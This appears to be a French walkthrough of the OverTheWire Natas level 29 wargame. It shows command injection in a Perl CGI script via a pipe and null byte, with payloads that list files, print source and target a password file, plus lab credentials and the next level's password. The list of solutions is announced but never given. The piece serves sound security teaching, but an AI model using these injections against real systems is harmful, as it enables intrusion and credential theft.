Niveau 29

Natas 29

Level Goal

Username: natas29
Password: airooCaiseiyee8he8xongien9euhe8b
URL: http://natas29.natas.labs.overthewire.org

En se connectant à la page du challenge 29 (curl http://natas29.natas.labs.overthewire.org -u natas29:airooCaiseiyee8he8xongien9euhe8b) on arrive sur un formulaire permettant de visionner le contenu de plusieurs fichiers :

<div id="content">
H3y K1dZ,<br>
y0 rEm3mB3rz p3Rl rit3?<br>
\/\/4Nn4 g0 olD5kewL? R3aD Up!<br><br>

<form action="index.pl" method="GET">
<select name="file" onchange="this.form.submit()">
  <option value="">s3lEcT suMp1n!</option>
  <option value="perl underground">perl underground</option>
  <option value="perl underground 2">perl underground 2</option>
  <option value="perl underground 3">perl underground 3</option>
  <option value="perl underground 4">perl underground 4</option>
  <option value="perl underground 5">perl underground 5</option>
</select>
</form>

<div id="viewsource">c4n Y0 h4z s4uc3?</div>
</div>

Lorsque l'on sélectionne un valeur dans le champ select, on est redirigé vers une page incluant le fichier avec une url du type :

http://natas29.natas.labs.overthewire.org/index.pl?file=perl+underground+2

Si l'on essaye d'utiliser un pipe | avec une commande shell derrière et le tout se terminant par %00 (null character) :

http://natas29.natas.labs.overthewire.org/index.pl?file=| ls -la %00

On obtient la liste de fichier suivant :

total 828
drwxr-x---  2 natas29 natas29   4096 Nov  5  2017 .
drwxr-xr-x 41 root    root      4096 Dec 22  2020 ..
-rw-r-----  1 natas29 natas29    119 Dec 20  2016 .htaccess
-rw-r-----  1 natas29 natas29     86 Oct 20  2018 .htpasswd
-rwxr-x---  1 natas29 natas29    850 Dec 15  2016 index.html.tmpl
-rwxr-x---  1 natas29 natas29   2286 Nov  5  2017 index.pl
-rwxr-x---  1 natas29 natas29   2264 Dec 15  2016 index.pl.tmpl
-rwxr-x---  1 natas29 natas29 172923 Dec 15  2016 perl underground 2.txt
-rwxr-x---  1 natas29 natas29 180749 Dec 15  2016 perl underground 3.txt
-rwxr-x---  1 natas29 natas29 170534 Dec 15  2016 perl underground 4.txt
-rwxr-x---  1 natas29 natas29 171845 Dec 15  2016 perl underground 5.txt
-rwxr-x---  1 natas29 natas29 114600 Dec 15  2016 perl underground.txt

Si l'on envoie la commande | cat index.pl %00, on obtient le code source de la page :

#!/usr/bin/perl
use CGI qw(:standard);

# print HTML [...]

#
# morla /10111
# '$_=qw/ljttft3dvu{/,s/./print chr ord({% CONTENT %}amp;)-1/eg'
#
# credits for the previous level go to whoever 
# created insomnihack2016/fridginator, where i stole the idea from. 
# that was a fun challenge, Thanks! 
#

# print HTML [...]

if(param('file')){
    $f=param('file');
    if($f=~/natas/){
        print "meeeeeep!<br>";
    }
    else{
        open(FD, "$f.txt");
        print "<pre>";
        while (<FD>){
            print CGI::escapeHTML($_);
        }
        print "</pre>";
    }
}

# print HTML [...]

En lisant le code source on peut voir que la ligne $f=~/natas/ applique une regex sur le paramètre file pour vérifier que le mot natas n'est pas présent dans celle-ci. Cela veut dire que si l'on entrait la commande | cat /etc/natas_webpass/natas30 %00 on recevrait un message d'erreur (meeeeeep!)

Plusieurs solution s'offre à nous ici :

Dans tous les cas le mot de passe du prochain niveau est : wie9iexae0Daihohv8vuu3cei9wahf0e.